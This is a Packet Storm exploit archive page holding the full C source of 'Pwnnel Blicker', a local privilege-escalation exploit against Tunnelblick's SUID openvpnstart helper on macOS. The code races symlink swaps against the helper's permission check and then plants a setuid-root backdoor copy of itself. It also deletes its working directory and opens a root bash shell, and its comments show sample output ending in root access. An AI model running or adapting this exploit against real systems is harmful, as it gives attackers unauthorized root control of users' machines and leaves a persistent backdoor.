what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Tunnel Blick Race Condition Local Root

Tunnel Blick Race Condition Local Root
Posted Aug 12, 2012
Authored by zx2c4

Tunnel Blick suffers from a race condition that allows for local root execution.

tags | exploit, local, root
SHA-256 | c1a060ee41fd2155da5b10c23e65df5727224db3293427daaed6fb1e2ec03027

Tunnel Blick Race Condition Local Root

Change Mirror Download
/*
* ==== Pwnnel Blicker ====
* = =
* = zx2c4 =
* = =
* ========================
*
* Tunnel Blick, a widely used OpenVPN manager for OSX
* comes with a nice SUID executable that has more holes
* than you care to count. It's a treasure chest of local
* roots. I picked one that looked interesting, and here
* we have Pwnnel Blicker.
*
* Tunnel Blick will run any executable that has 744
* permissions and is owned by root:root. Probably we
* could find a way to exploit an already existing 744
* executable, but this would be too easy. So instead, we
* take advantage of a race condition between checking the
* file permissions on the executable and actually running
* it.
*
* Usage:
* $ ./a.out
* [+] Creating vulnerable directory.
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
* [+] Writing pid and executing vulnerable program.
* [+] Running toggler.
* [+] Making backdoor.
* [+] Cleaning up.
* /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
* [+] Complete. Run this again to get root.
* Killed: 9
*
* $ ./a.out
* [+] Getting root.
* # whoami
* root
*
*/


#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/stat.h>

int main(int argc, char *argv[])
{
char dir[512];
char script[512];
char command[512];
char pid_file[512];
char path[512];
char self[512];
uint32_t size;
pid_t pid, pid2;
FILE *file;

snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME"));
snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir);

/* Oh god, do I miss /proc/self/exe. */
if (getenv("PWNPATH"))
strcpy(self, getenv("PWNPATH"));
else {
size = sizeof(path);
_NSGetExecutablePath(path, &size);
realpath(path, self);
setenv("PWNPATH", self, 1);
}

if (!geteuid()) {
file = fopen(pid_file, "r");
if (file) {
printf("[+] Making backdoor.\n");
chown(self, 0, 0);
chmod(self, S_ISUID | S_IXOTH);

printf("[+] Cleaning up.\n");
fscanf(file, "%d %d", &pid, &pid2);
fclose(file);
snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir);
system(command);

printf("[+] Complete. Run this again to get root.\n");
kill(pid2, 9);
kill(pid, 9);
return 0;
}
printf("[+] Getting root.\n");
setuid(0);
setgid(0);
execl("/bin/bash", "bash", NULL);
}


printf("[+] Creating vulnerable directory.\n");
snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir);
system(command);

pid = fork();
if (!pid) {
printf("[+] Running toggler.\n");
snprintf(script, sizeof(script), "%s/connected.sh", dir);
for (;;) {
unlink(script);
symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script);
unlink(script);
symlink(self, script);
}
} else {
printf("[+] Writing pid and executing vulnerable program.\n");
file = fopen(pid_file, "w");
fprintf(file, "%d %d", pid, getpid());
fclose(file);
for (;;) {
if (fork())
wait(NULL);
else {
close(0);
close(2);
execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL);
}
}
}

return 0;
}

Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close